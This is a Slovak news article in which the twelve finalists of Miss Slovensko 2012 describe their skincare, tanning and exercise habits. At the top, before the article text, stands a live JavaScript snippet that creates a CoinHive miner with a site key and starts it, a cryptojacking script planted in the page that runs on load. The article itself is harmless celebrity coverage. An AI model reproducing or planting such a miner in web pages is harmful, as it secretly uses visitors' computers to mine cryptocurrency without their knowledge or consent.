

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqcRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



MAĎARSKO/ÖTTEVÉNY 6. apríla (WEBNOVINY) - Považujú dievčatá solárium za zdravé? Akým spôsobom sa starajú o svoju postavu a koľko rôznych druhov krémov používajú?

Preferujú cvičenie vo fitnescentre alebo si radšej zájdu zacvičiť do prírody? Aj na tieto otázky odpovedali jednotlivé finalistky súťaže krásy Miss Slovensko 2012.

„Odkedy začala súťaž, tak sa snažím pravidelnejšie venovať cvičeniu. Okrem toho používam rôzne krémy, ale určite nie tie na vrásky. Ešte sa necítim na to, že by som také niečo potrebovala,“ podotkla s úsmevom finalistka s číslom 1, Kristína Krajčírová.

Devätnásťročná Martina Cabanová, ktorá súťaží s číslom 2, má zas rada všetko, čo súvisí s vodou. „Zbožňujem horúce kúpele, bazény a vírivky - som v znamení rýb, takže voda je moím žvlom. Na druhú stranu, ale nie som na seba nejako priveľmi zaťažená. Snažím sa o prirodzenosť.“

Finalistka s číslom 3, Júlia Kollárová, sa po prihlásení do Miss Slovensko snaží najmä intenzívnejšie cvičiť. „Trošku som na seba pritlačila a začala som viac chodiť aj na manikúru a pedikúru. Fitnescentrum príliš nenavštevujem, radšej si zacvičím doma,“ spresnila.

Devätnásťročná Jana Nagyová zo Zvolena, ktorá súťaží s číslom 4, je podľa vlastných slov športový typ. „Hrávala som osem rokov tenis a v súčasnosti chodievam spoločne s bratom behávať alebo hrávať basketbal. Čo sa starostlivosti o seba týka - podľa mňa sú ruky krásou ženy, takže tie musia byť pekné rovnako ako nohy.“

„Myslím si, že každá z nás má dosť času na to, aby sa pripravila na finále a každá z nás sa snaží vyzeráť čo najlepšie. U mňa to spočíva v cvičení, behu, aerobiku a v tých klasických veciach, ako je manikúra, pedikúra a podobne,“ uviedla finalistka s číslom 5, Dominika Tóthová.

Lenka Petrovičová, ktorá súťaží s číslom 6, sa vždy snaží nájsť si čas aj pre seba. „Chodím najmä do fitnescentra, ale na pár minút zavítam aj do solária. Pri tom je však potrebné dať pozor a príliš to neprehnať,“ dodala.

Finalistky súťaže krásy Miss Slovensko 2012Foto: SITA/Jozef JakubčoDevätnásťročná Valentína Semanová s číslom 7 zas preferuje aktivity, pri ktorých sa zabaví. „Športy by nemali byť len o drine, ale aj o zábave. Asi najradšej mám volejbal alebo plávanie. Bavila ma aj Zumba,

ktorú sme si vyskúšali na prvom sústreďení,“ podotkla s úsmevom.

Romana Boboková z Prievidze, ktorá súťaží s číslom 8, je podľa vlastných slov zaťažená na rôzne krémy a kozmetiku. „Ako každé dievča mám rada rôzne masky, krémy alebo kvalitný make-up, ktorý hydratuje pleť. V zime som chodila do sauny a posilňovne, ale teraz sa už teším na krásne počasie, v ktorom sa budem môcť bicyklovať a korčuľovať.“

Bratislavčanka Silvia Kimličková, ktorá má číslo 9, sa snaží o seba starať prirodzeným spôsobom. „Pre mňa je najdôležitejšia krása, takže rada chodím na pedikúru a kozmetiku. Inak to ale vôbec nepreháňam, normálne sa stravujem a snažím sa aj cvičiť. Nedávno som skúšala aj behať, ale to mi dlho nevydržalo, takže som sa dala na skákanie cez švihadlo a rôzne ďalšie cviky,“ spresnila.

Vášňou finalistky s číslom 10, Denisy Krajčovičovej, je tanec, ktorý je stálou súčasťou jej života. „Vďaka tancu sa venujem aj svojej postave a odkedy som postúpila do finálovej dvanástky, tak som začala cvičiť aj doma. Popri práci a tanci nemám veľa času na kaderničky a pedikérky, ale v rámci domácej starostlivosti sa snažím starať o moju pleť,“ dodala.

„Nechodievam na pedikúru a manikúru - myslím, že to zatiaľ zvládam aj sama. Rada však využívam saunu a predsezónne aj solárium. Okrem toho si rada chodím zacvičiť do fitnesscentra, i keď Zumbu priveľmi neobľubujem,“ uviedla 24-ročná Mária Frťalová, ktorá súťaží s číslom 11.

Finalistka číslo 12, Miriam Mattová, dbá pri starostlivosti o seba najmä na kvalitu kozmetických prípravkov, ktoré používa. „Krémy mi nosí ocino zo zahraničia, aby boli čo najkvalitnejšie a aby obsahovali čo najmenej chemikálií. Je veľmi dôležité, aby žena používala prírodné prípravky. Okrem toho chodím aj do fitnesscentra, v ktorom mám vlastnú trénerku a snažím sa pravidelne cvičiť a pracovať na sebe,“ uzavrela.